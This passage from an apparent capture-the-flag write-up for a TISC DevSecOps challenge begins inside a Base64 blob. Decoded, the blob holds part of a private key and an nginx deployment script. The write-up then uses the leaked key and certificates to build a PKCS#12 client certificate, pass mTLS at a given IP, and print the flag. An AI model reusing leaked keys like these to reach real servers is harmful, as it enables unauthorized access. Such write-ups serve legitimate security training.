TVFYTTdWdzQ0UUJIZmtPWnhHNVdCWk1BSlFsMUZHcHZxVXYvdFZ0K0NiVgpOWHkrUHZIK28xeUlTOTNqODNPaTJVRmRnSmNrdUtVc1ZUSjNHNFNyT25GZjE4SWJGQW5TZXdvT3pCaTVTbUx1Ckt0NzNuYkx4Z0NXNzhNQUNsL0NiOHJ5dExaNTIrOG5iYkN2VkRPZVlRaDUxL2NZVWplQ0lXREtJSHpWdWFxeGIKNjh2QjNuMzJ4NUpWemp5eWJoVjBodkRVckZDdEJWVDFIQ3Z0WEpIdCtzVWlLMDhpbE5GOFBvLys5a0JsS1oySgp3OENyN2FJTWFQVmdUTGdCOUd5ZjVxSHRkQ3FubGtMaUpseHhtSjBjWldVZEthd05lb25hU25CNjVpaFVMUEllCk13aTQrcVFQQWdNQkFBRUNnZ0VCQUtBQmc3ZmlDLzkwdUQwdVdYYVFpUUd2cTdyd3lwU3E3U3d0WTRNVWxmeHcKQTBIQk1rdmh2Y2R4Y1paUHRoeFZ6QmQxRHVMSGVvY0wrY3krMEduMzBrN1FUUXZBMTFsTjc0WEVvTnczQlNSbApMbVd0enZxQUZNUDJHbWYwZ2lQdWt0bFRCK2JsUVllRGpvelhyaXVLTlFVV3pCVkxhVmZ5VnpMOENSK2ZnRHBuCm5VYWk3UDB0aFQ4TWp4WGVzVnZmMWprcTR5WnFQTU9MTkxZRXVVbjVHK09rTkNIb3FyYzRVZC9GdDFscWQ0ZjEKeXZKKzlJREJaMjk4K0hoQ25sd3laK2lwVFpGVGNnelY2by9mNEhxMGhmaXFHeDBlczBHdCtqdGtwUjk5QVM0QQp4R0dVOUNNeTJiS2s3azVhYW9pbjdkbGppSWNUckNrV3NuQ2dhVkhQTkxrQ2dZRUE0YlcwQW1IV0ZtekFCVC9UClR6emdRS0pzRnZ3dktEV09KaURWVGN6WmxUZlhlV2NNOVdRdEFlY0FrMlp4QVpxdHFYRWF0emhXc0dJdm14TXIKek1LejlSTHh4UnN0dFY0eHpSd0RmY2pLelJ1WkFWMHhYUHNJdWFaUHB6cnFDWDh1RnJ2aGlqZjhwcld1TEZacgoybUM3a3hWVnBmRGpPNjhlNzRZSlZTS21PZ1VDZ1lFQTMwUHVhMHZPUFhGTDJoOFRjYmpHOUZ5VHhpZDRPUVdFCnMxSWlMWVJ3M2pWVldsSjJnQWxaNGV5K3pURzE2MnpWNFYyeUhyWkYyM2VzNDV5b1dnU1Jaa3h1ZmtRWTlDSmkKWE1YZjBxZHlDMWxWaC9uYUpYZHo1QVlyNUt3eUR2OVVLakpjNnZ1YmN1U21ENmg2SDNRT2drWmVvQ3Q3NWx3eQpqS3d3U1JSTC9nTUNnWUI0QW9McDJWZFpxUTBZUFcxL2JpRFdmUVgzMnJMQU1HbWFnRTZxQlVlVGZaT0dLM0xLCmJ5ODNHYnBHcFd0a3JQZTFaandNTzFwc2dtaEpqaEgxMTNpVDBEVFkxckNoQktwNkluRUF5bWg2VWpneWIzaTEKdFl4WUdjTzBhVERUUjlvYm9GNDFmYnRLY01OaE03bzQ3TUlQWElLanJzZERqc05tRytDT2NkUHNlUUtCZ1FDNQpuaXFiL2R3cmJRUVpCZmtPZFFiRHBpd2RkRGNaZ1NNQVN1cXJXUTdWVHhYMUQ5WUJRTVQvZGVwemdqNnl5anRQCk1LeWpwL3FRS2dFTkF2TmNVNnZtbHVqT0JTT1I1UHhPRVJ5eWNBLzZxM3pXbmJ6bHBWZ3VYWXNraEp6aHB4bDgKTTM3WXhmSkpKUnVDclJsTENSdis1eTVJajU1a3VJWTJPZm15NkRMOXJRS0JnUURlZlRnaVNLVklsTXBaUmlHdApWT0FEME1GZGEvazl0cFRQVDlIZGxMNGI0NG1rTnpQYWlsSkFUSDBYTERxU3d1WG40d0pFZ01Bd3FiTThDR1NvCk9wYXIzZml4U3JpS2t3dVR1RHk4Zk0xZGJwallDaThyS3N3R1VMVHZwRkhKUVpTRHU0K3NDRHhiWlV2OVZUQVMKYVV3ak9lWXlJWmlCK1NRdC9rVVVabTFhY0E9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCgpFT0wKYXdzIHMzIGNwIHMzOi8vZGV2c2VjbWVvdzIwMjNmbGFnMi9pbmRleC5odG1sIC90bXAvCnN1ZG8gY3AgL3RtcC9pbmRleC5odG1sIC92YXIvd3d3L2h0bWwKcm0gL3RtcC9pbmRleC5odG1sCnN1ZG8gc3lzdGVtY3RsIHJlc3RhcnQgbmdpbngK"
}
} After decoding the Base64 encoded value, we find an NGINX configuration file showing that the endpoint requires SSL to access the flag server on port 3000, along with the files server.key , server.crt and ca.crt .
Next, generate the PKCS#12 file for the production site
Copy openssl pkcs12 -export -out server.p12 -inkey server.key -in server.crt Then configure mTLS like before, navigate to https://54.255.155.134/ , and select the new certificate
And finally, we get more pictures of the cat! and the flag too.
FLAG: TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nes!!<##:}##>}
